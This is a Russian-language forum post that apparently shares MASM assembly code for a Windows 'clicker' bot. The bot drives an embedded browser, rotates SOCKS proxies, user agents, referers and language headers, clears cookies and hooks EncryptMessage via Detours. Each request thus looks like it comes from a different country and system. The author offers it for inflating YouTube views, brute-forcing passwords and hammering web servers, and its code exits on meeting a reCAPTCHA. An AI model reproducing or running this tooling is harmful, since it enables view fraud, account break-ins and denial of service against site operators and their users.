кликер на асме

viktor plutt

Заблокирован
13.03.2020
17
2
BIT
0
Привет всем.

Счас я вам покажу как накодить кликер на асме. Для тех кто в танке кликер - это программа имитирующая нажатие на ссылки в броузере. Кроме кликания по ссылкам можно подбирать пароли, накручивать видео в Ютубе, веб сервер подрючить.
Прога для винды - использует СОМ интерфейсы IWebBrowser2 и IXMLHTTPRequest2 и библиотеку detourus. Основные модули.
1. модуль получения списка сокс-прокси IWebBrowser2
2. модуль ИП то Контри IXMLHTTPRequest2
3. модуль имитации действия пользователя IWebBrowser2
Суть процесса проста - сначала удаляем все кукисы, потом из списка выбираем и ставим в заголовок поле Referer:, потом определяем страну нахождения прокси, подключаем прокси, заменяем в заголовке поле Accept-Language на страну нахождения прокси, потом из списка выбираем и ставим в заголовок поле User-Agent. Ну и наконец посылаем запрос нашей жертве.

Не смотря на то что прога будет работать на одном компе сервер будет видеть запросы поступающие из разных стран разных систем.


пример как части кода для Ютуба

Код:
IBrowserHost_Ruun proc uses edi esi ebx pThis_:dword

                 LOCAL    ppClnSit : dword
                 LOCAL    widChr[600h]:byte
                 LOCAL    tmpVal   : dword
                 LOCAL    Rect     : RECT
                 LOCAL    ppv      : dword
                 LOCAL    pVarnt   : VARIANT    
                 LOCAL    pVarnt1  : VARIANT
                 LOCAL    pVarnt2  : VARIANT
                 LOCAL    pVarnt3  : VARIANT
                 LOCAL    pVarnt4  : VARIANT
                 LOCAL    pVarnt5  : VARIANT
               
                 mov      ebx, pThis_
                 mov      ebx, (OBJECT_ENTRY ptr [ebx]).pBase
                 mov      ebx, (OBJECT_DATA ptr [ebx]).pPrivDat
                 push     pThis_  
                 call     CreateWin
                 invoke   CoCreateInstance, offset CLSID_InternetExplorer, 0, 3, offset IID_IOleObject, addr  ppv
                 coinvoke pThis_, IUnknown, QueryInterface, offset IID_IOleClientSite, addr ppClnSit
                 coinvoke ppv, IOleObject, SetClientSite, ppClnSit
                 invoke   GetClientRect, (OBJECT_PRIVATE_DATA ptr [ebx]).hWin, addr Rect
                 coinvoke ppv, IOleObject, DoVerb, OLEIVERB_INPLACEACTIVATE, addr tmpVal, pThis_, 0, (OBJECT_PRIVATE_DATA ptr [ebx]).hWin, addr Rect
                 coinvoke ppv, IUnknown, QueryInterface, offset IID_IWebBrowser2, addr (OBJECT_PRIVATE_DATA ptr [ebx]).pBrwser
                 invoke   ConnectEventSource, (OBJECT_PRIVATE_DATA ptr [ebx]).pBrwser, offset IID_IWebBrowserEvents2, offset objWebBrowserEvents2, pThis_, addr tmpVal
                 mov      ecx, tmpVal
                 mov      (OBJECT_PRIVATE_DATA ptr [ebx]).pdwCookie, ecx
                 coinvoke ppv, IUnknown, QueryInterface, offset IID_IOleInPlaceObject, addr (OBJECT_PRIVATE_DATA ptr [ebx]).pInpObj  
                 .if  dword ptr (OBJECT_PRIVATE_DATA ptr [ebx]).pInpObj == 0                                      
                    coinvoke (OBJECT_PRIVATE_DATA ptr [ebx]).pInpObj, IOleInPlaceObject, SetObjectRects, addr Rect, addr Rect
                 .endif                          
                 mov      edx, Rect.Right
                 sub      edx, Rect.Left
                 shl      edx, 10h
                 or       edx, Rect.Bottom
                 sub      edx, Rect.Top
                 invoke   SendMessageA, (OBJECT_PRIVATE_DATA ptr [ebx]).hWin, WM_SIZE, 0, edx
               
                 mov      pVarnt5.vt, VT_BOOL
                 mov      pVarnt5.boolVal, VARIANT_TRUE
                 invoke   PropPutVal, (OBJECT_PRIVATE_DATA ptr [ebx]).pBrwser, offset aSilent,  addr pVarnt5  

                 mov      pVarnt5.vt, VT_BOOL          
                 mov      pVarnt5.boolVal, VARIANT_TRUE
                 invoke   PropPutVal, (OBJECT_PRIVATE_DATA ptr [ebx]).pBrwser, offset aScrErro,  addr pVarnt5
               
                 invoke   GetTickCount      
                 lea      esi, refLabl        
                 mov      ecx, 4
                 xor      edx, edx
                 idiv     ecx
                 mov      edx, [esi+edx*4]
                 .if edx == 0
                    lea edx, sedrrrr4
                 .endif
                 invoke   MultiByteToWideChar, 0, 0, edx, -1, addr widChr, 600h                              
                 invoke   SysAllocString, addr widChr
                 mov      pVarnt5.vt, VT_BSTR          
                 mov      pVarnt5.bstrVal, eax
                 mov      pVarnt4.vt, VT_EMPTY          
                 mov      pVarnt4.lVal, 0
                 mov      pVarnt3.vt, VT_EMPTY          
                 mov      pVarnt3.bstrVal, 0
                 mov      pVarnt2.vt, VT_I4          
                 mov      pVarnt2.lVal, 14                
                 mov      pVarnt1.vt, VT_BSTR
                 invoke   SysAllocString, addr (OBJECT_PRIVATE_DATA ptr [ebx]).Buff
                 mov      pVarnt1.bstrVal, eax                    
                 invoke   CallMetod, (OBJECT_PRIVATE_DATA ptr [ebx]).pBrwser, offset aNavigate2, addr pVarnt5, 5, addr pVarnt            
                 xor      eax, eax
                 ret

IBrowserHost_Ruun endp

;======================================================

IWebBrowserEvents2 proc uses edi esi ebx This_:dword, IdMember:dword, riid:dword, lcid:dword, wFlags:dword, pDParam:dword, pVrRes:dword, pExpInf:dword, puArgErr:dword    
                 
     LOCAL   lpBuf[3000]       : byte                
     LOCAL   pThis             : dword
     LOCAL   pVarnt            : VARIANT          
     LOCAL   pVarnt4           : VARIANT                                      
     LOCAL   pElmButt          : dword
     LOCAL   pBowser           : dword
   

     mov     ebx, This_
     mov     ebx, (OBJECT_ENTRY ptr [ebx]).pBase
     mov     ebx, (OBJECT_DATA ptr [ebx]).pPrivDat          
     mov     pThis, ebx
     .if IdMember == DISPID_DOCUMENTCOMPLETE                                                      
        mov      ebx, (OBJECT_ENTRY ptr [ebx]).pBase
        mov      ebx, (OBJECT_DATA ptr [ebx]).pPrivDat                  
        invoke   PropGetVal, (OBJECT_PRIVATE_DATA ptr [ebx]).pBrwser, offset aDocument,  addr pVarnt
        .if eax == 0 && pVarnt.bstrVal != 0      
           mov      eax, pVarnt.bstrVal
           mov      (OBJECT_PRIVATE_DATA ptr [ebx]).pIdoc, eax
           coinvoke (OBJECT_PRIVATE_DATA ptr [ebx]).pIdoc, IUnknown, QueryInterface, addr IID_IHTMLDocument2, addr (OBJECT_PRIVATE_DATA ptr [ebx]).pDoc      

           invoke   PropGetVal, (OBJECT_PRIVATE_DATA ptr [ebx]).pDoc, offset areadyState,  addr pVarnt                    
           invoke   lstrcpyW, addr lpBuf, pVarnt.bstrVal
           invoke   SysFreeString, pVarnt.bstrVal
           invoke   lstrcmpiW, addr lpBuf, addr acomplete
           .if eax == 0                  
              invoke   PropGetVal, (OBJECT_PRIVATE_DATA ptr [ebx]).pDoc, offset aurl,  addr pVarnt
              invoke   lstrcpyW, addr lpBuf, pVarnt.bstrVal
              invoke   SysFreeString, pVarnt.bstrVal
              invoke  StrStrIW, addr lpBuf, addr aerrrrtrt
              .if eax != 0
                 invoke   WriteLogFileX, addr badloggg, addr sokcbfff  
                 invoke   ExitProcess, 0
              .endif
              mov    pElmButt, 0      
              invoke   PropGetVal, (OBJECT_PRIVATE_DATA ptr [ebx]).pDoc, offset abody,  addr pVarnt
              .if eax == 0 && pVarnt.pdispVal != 0
                 push     pVarnt.pdispVal
                 pop      pElmButt              
                 invoke   PropGetVal, pElmButt, offset aouterHTML,  addr pVarnt
                 .if eax == 0 && pVarnt.bstrVal != 0                                        
                    invoke   StrStrIW, pVarnt.bstrVal, addr   arecaptcha
                    .if eax != 0
                       invoke WriteLogFileX, addr badloggg, addr sokcbfff                            
                       invoke ExitProcess, 0
                    .endif                
                    invoke  SysFreeString, pVarnt.bstrVal                                
                 .endif
                 coinvoke pElmButt, IUnknown, Release
              .endif            
           .endif      
           coinvoke (OBJECT_PRIVATE_DATA ptr [ebx]).pDoc, IUnknown, Release
           coinvoke (OBJECT_PRIVATE_DATA ptr [ebx]).pIdoc, IUnknown, Release
        .endif
        xor eax, eax
     .endif    
     ret


IWebBrowserEvents2 endp

замена строки агента

Код:
                 invoke GetTickCount
                 mov    ecx, 13
                 xor    edx, edx
                 idiv   ecx
                 lea    esi, useragents
                 mov    esi, [esi+edx*4]
                 invoke lstrlen, esi
                 invoke UrlMkSetSessionOption, INTERNET_OPTION_USERAGENT, esi, eax, 0

изменение прокси

Код:
                 mov     IntInfo.dwAccessType, INTERNET_OPEN_TYPE_PROXY
                 lea     eax, sokcbuf
                 mov     IntInfo.lpszProxy, eax        
                 mov     IntInfo.lpszProxyBypass, 0
                 invoke  UrlMkSetSessionOption, INTERNET_OPTION_PROXY, addr IntInfo, sizeof INTERNET_PROXY_INFO, 0
                 invoke  UrlMkSetSessionOption, INTERNET_OPTION_PROXY_SETTINGS_CHANGED, 0, 0, 0

удаление кукисов

Код:
          libname          db   "inetcpl.cpl",0  
          procnm           db   "ClearMyTracksByProcessW",0                                                                
          parm1            db  "Flags:8388610 WinX:0 WinY:0 IEFrame:0000000000000000",0

            invoke LoadLibrary, addr libname
            mov    esi, eax
            .if esi != 0
               invoke GetProcAddress, esi, addr procnm
               mov    esi, eax
               .if esi != 0
                  invoke   MultiByteToWideChar, 0, 0, addr parm1, -1, addr lpBuf1, 200      
                  push     offset lpBuf1
                  push     0
                  push     0
                  call     esi
               .endif
            .endif

либа Detour

Код:
.code



LibMain proc uses edi esi  ebx hInstDLL:DWORD, reason:DWORD, unused:DWORD
       
                 
        invoke DetourIsHelperProcess
        .if eax != 1                  
           .if reason == DLL_PROCESS_ATTACH          
              invoke DetourRestoreAfterWith                              
              invoke DetourTransactionBegin
              invoke GetCurrentThread
              invoke DetourUpdateThread, eax                        
              invoke DetourAttachEx, addr TrueEncryptMessage, addr FakeEncryptMessage, addr ppRealEncryptMessage, addr ppEncryptMessageTarget, addr ppEncryptMessageDetour
              invoke DetourTransactionCommit                                                                                                                                                                  
           .elseif reason == DLL_PROCESS_DETACH
              invoke DetourTransactionBegin
              invoke GetCurrentThread
              invoke DetourUpdateThread, eax            
              invoke DetourDetach,  addr TrueEncryptMessage, addr FakeEncryptMessage  
              invoke DetourTransactionCommit                  
           .endif
        .endif
        mov  eax, 1
        ret

LibMain Endp

UntimedSleepEx proc uses esi edi ebx pProxstr:dword

        invoke lstrcpy, addr proxybuf, pProxstr
        ret

UntimedSleepEx endp

FakeEncryptMessage proc uses esi edi ebx, phContext:dword, fQOP:dword,   pMessage:dword,  MessageSeqNo:dword

        mov   esi, pMessage
        .if pMessage != 0
           xor   ebx, ebx
           mov   edi, (SecBufferDesc ptr [esi]).pBuffers
           .while ebx < dword ptr (SecBufferDesc ptr [esi]).cBuffers
              mov   ecx, (SecBuffer ptr [edi]).BufferType
              and   ecx, 0fffh
              .if (ecx == 1 )
                 mov    eax, (SecBuffer ptr [edi]).pvBuffer
                 .if  dword ptr [eax] == ' TEG' || dword ptr [eax] == 'TSOP'
                    invoke  strstr, (SecBuffer ptr [edi]).pvBuffer, addr szrr
                    .if eax != 0
                       push eax          
                       pop  ecx  
                       invoke memcpy, ecx, addr proxybuf, 5  
                    .endif                          
                 .endif
              .endif
              inc  ebx
              add  edi, sizeof SecBuffer
           .endw        
        .endif

        push  MessageSeqNo
        push  pMessage
        push  fQOP
        push  phContext
        call  ppRealEncryptMessage
        ret
       
FakeEncryptMessage endp

получение кода страны по ИП
Код:
IpToCoumtry proc uses esi edi ebx pIpadr:dword, poutp:dword

    LOCAL   xmlHTTP     : dword
    LOCAL   wcbuf[600] : byte
    LOCAL   chrbuf[200] : byte
    LOCAL   lVarnt      : VARIANT   
    LOCAL   ldwres      : dword     
    LOCAL   pmrty       : dword
    
    invoke   CoInitialize, 0             
    mov      ldwres, 0     
    mov      xmlHTTP, 0
    invoke   CoCreateInstance, addr CLSID_FreeThreadedXMLHTTP60, 0, CLSCTX_INPROC_SERVER, addr IID_IXMLHTTPRequest2, addr xmlHTTP
;---
    .if xmlHTTP == 0
       jmp  @@Err
    .endif
;---
    invoke   lstrcpy, addr chrbuf, addr szHostfr
    invoke   lstrcat, addr chrbuf,  pIpadr
    invoke   lstrcat, addr chrbuf, addr szHostsc

    invoke   MultiByteToWideChar, 0, 0, addr chrbuf, -1, addr wcbuf, 600   
    coinvoke xmlHTTP, IXMLHTTPRequest2, Open, addr aGET, addr wcbuf, 0,0,0,0,0,0,0,0,0,0,0,0
    invoke   MultiByteToWideChar, 0, 0, addr szAccept1, -1, addr wcbuf, 600 
    coinvoke xmlHTTP, IXMLHTTPRequest2, SetRequestHeader,  addr aAccept, addr wcbuf
    coinvoke xmlHTTP, IXMLHTTPRequest2, SetRequestHeader, addr aAccept_language, addr aus
    coinvoke xmlHTTP, IXMLHTTPRequest2, SetRequestHeader, addr aAccept_Encoding, addr azip
    invoke   MultiByteToWideChar, 0, 0, addr smozel, -1, addr wcbuf, 600 
    coinvoke xmlHTTP, IXMLHTTPRequest2, SetRequestHeader, addr aUser_Agent, addr wcbuf
    coinvoke xmlHTTP, IXMLHTTPRequest2, SetRequestHeader, addr aHost,  addr agoogee
    coinvoke xmlHTTP, IXMLHTTPRequest2, SetRequestHeader, addr aConnection, addr aKeep_Alive     
    invoke   CallMetod, xmlHTTP, offset aSend, 0, 0, addr lVarnt
    invoke   CoTaskMemAlloc, 1024*1024
    .if eax == 0
       jmp     @@Err
    .endif
    mov      esi, eax
    mov      pmrty, eax
    invoke   PropGetVal, xmlHTTP, offset aresponseText,  addr lVarnt
    invoke   WideCharToMultiByte, 0,0, lVarnt.bstrVal, -1, esi, 1024*1024, 0,0 
    invoke   SysFreeString, lVarnt.bstrVal 
    mov      lVarnt.lVal, 0
    invoke   PropGetVal, xmlHTTP, offset astatus,  addr lVarnt
    .if lVarnt.lVal != 200  && eax == 0                   
       mov      ldwres, -1 
@@det5:
       coinvoke xmlHTTP, IUnknown, Release
       .if eax != 0
          jmp  @@det5
       .endif
       jmp    @@Err1           
    .endif
@@det6:
    coinvoke xmlHTTP, IUnknown, Release
    .if eax != 0
       jmp  @@det6
    .endif
    
    invoke lstrlen, esi   
    .if eax > 2
       mov   ldwres, -1 
       jmp   @@Err1
    .endif
    invoke   lstrcpy, addr chrbuf, esi
    invoke   CharLower, addr chrbuf
    invoke   wsprintfA,  poutp, addr temlf, addr chrbuf, esi
    mov      ldwres, 1             
@@Err1:
     invoke CoTaskMemFree, pmrty
@@Err:
    mov    eax,  ldwres
    ret
      
IpToCoumtry endp

А теперь все кто прочитал писайте кипятком от того какой я умный. Если кто сомневается, что это все работает могу покликать на этой теме пару миллионов раз :)
 
Последнее редактирование:
  • Нравится
Реакции: Johnnnnnnnn
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!